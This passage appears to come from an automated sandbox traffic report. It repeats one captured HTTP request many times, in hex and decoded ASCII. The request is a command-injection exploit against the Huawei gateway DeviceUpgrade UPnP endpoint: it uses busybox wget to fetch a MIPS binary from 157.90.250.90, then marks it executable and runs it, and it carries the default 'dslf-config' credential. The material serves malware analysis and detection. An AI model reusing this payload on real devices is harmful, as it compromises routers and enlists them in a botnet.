37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 